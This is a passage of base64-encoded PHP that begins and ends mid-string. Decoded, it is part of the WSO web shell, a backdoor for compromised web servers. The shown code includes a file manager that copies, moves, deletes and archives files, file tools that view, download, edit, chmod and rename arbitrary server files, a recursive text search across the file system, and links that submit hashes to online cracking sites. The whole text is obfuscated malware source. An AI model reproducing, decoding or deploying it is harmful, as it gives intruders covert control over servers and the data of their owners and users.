pZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpIAogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7IAogICAgfSAKICAgICRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsgCiAgICBmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7IAogICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKSAKICAgICAgICAgICAgcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyAKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7IAogICAgfSAKICAgIHVzb3J0KCRmaWxlcywgIndzb0NtcCIpOyAKICAgIHVzb3J0KCRkaXJzLCAid3NvQ21wIik7IAogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7IAogICAgJGwgPSAwOyAKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmKSB7IAogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXSAKICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsgCiAgICAgICAgJGwgPSAkbD8wOjE7IAogICAgfSAKICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PiAKICAKICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4gCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4gCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4gCiAgICA8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsgCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsgCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPkNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+IjsgCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkgCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOyAKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7IAogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKSAKICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOyAKICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7IAogICAgd3NvRm9vdGVyKCk7IAp9IAogIApmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsgCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fSAKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fSAKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319IAogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0gCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSAKICAgICRzdHJpbmdUb29scyA9IGFycmF5KCAKICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLCAKICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLCAKICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsIAogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywgCiAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLCAKICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLCAKICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsIAogICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywgCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLCAKICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywgCiAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsIAogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywgCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywgCiAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLCAKICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsIAogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywgCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAKICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywgCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsIAogICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsIAogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywgCiAgICApOyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IAogICAgICAgIG9iX3N0YXJ0KCk7IAogICAgICAgIGlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkgCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7IAogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyAKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOyAKICAgICAgICBleGl0OyAKICAgIH0gCiAgICB3c29IZWFkZXIoKTsgCiAgICBlY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOyAKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOyAKICAgIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KSAKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7IAogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsgCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyAKICAgICAgICBpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsgCiAgICB9IAogICAgZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiAKICAKICAgICAgICA8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+IAogICAgICAgICAgICA8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4gCiAgICAgICAgICAgIDx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPiAKICAgICAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IAogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPiAKICAgICAgICAgICAgPC90YWJsZT48L2Zvcm0+IjsgCiAgCiAgICBmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7IAogICAgICAgIGlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykgCiAgICAgICAgICAgICRwYXRoLj0nLyc7IAogICAgICAgICRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyAKICAgICAgICBpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgeyAKICAgICAgICAgICAgZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsgCiAgICAgICAgICAgICAgICBpZihAaXNfZGlyKCRpdGVtKSl7IAogICAgICAgICAgICAgICAgICAgIGlmKCRwYXRoIT0kaXRlbSkgCiAgICAgICAgICAgICAgICAgICAgICAgIHdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOyAKICAgICAgICAgICAgICAgIH0gZWxzZSB7IAogICAgICAgICAgICAgICAgICAgIGlmKEBzdHJwb3MoQGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgQCRfUE9TVFsncDInXSkhPT1mYWxzZSkgCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgIH0gCiAgICBpZihAJF9QT1NUWydwMyddKSAKICAgICAgICB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsgCiAgICBlY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gCiAgCiAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5pbmZvJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5pbmZvL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+IAogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPiAKICAgICAgICA8L2Zvcm0+PC9kaXY+IjsgCiAgICB3c29Gb290ZXIoKTsgCn0gCiAgCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7IAogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKSAKICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsgCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7IAogICAgICAgIGlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsgCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsgCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsgCiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOyAKICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOyAKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOyAKICAgICAgICAgICAgaWYoJGZwKSB7IAogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpIAogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgICAgICB9IAogICAgICAgIH1leGl0OyAKICAgIH0gCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsgCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsgCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7IAogICAgICAgICAgICBpZigkZnApIHsgCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICB9IAogICAgd3NvSGVhZGVyKCk7IAogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyAKICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7IAogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7IAogICAgICAgIHdzb0Zvb3RlcigpOyAKICAgICAgICByZXR1cm47IAogICAgfSAKICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsgCiAgICBpZighJHVpZCkgeyAKICAgICAgICAkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7IAogICAgICAgICRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsgCiAgICB9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOyAKICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsgCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsgCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApIAogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsgCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkgCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOyAKICAgIGVsc2UKICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgCiAgICBmb3JlYWNoKCRtIGFzICR2KSAKICAgICAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOyAKICAgIGVjaG8gJzxicj48YnI+JzsgCiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7IAogICAgICAgIGNhc2UgJ3ZpZXcnOiAKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsgCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7IAogICAgICAgICAgICBpZigkZnApIHsgCiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKSAKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOyAKICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7IAogICAgICAgICAgICBicmVhazsgCiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzogCiAgICAgICAgICAgIGlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsgCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7IAogICAgICAgICAgICAgICAgJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOyAKICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBicmVhazsgCiAgICAgICAgY2FzZSAnY2htb2QnOiAKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyAKICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7IAogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkgCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsgCiAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkgCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsgCiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNf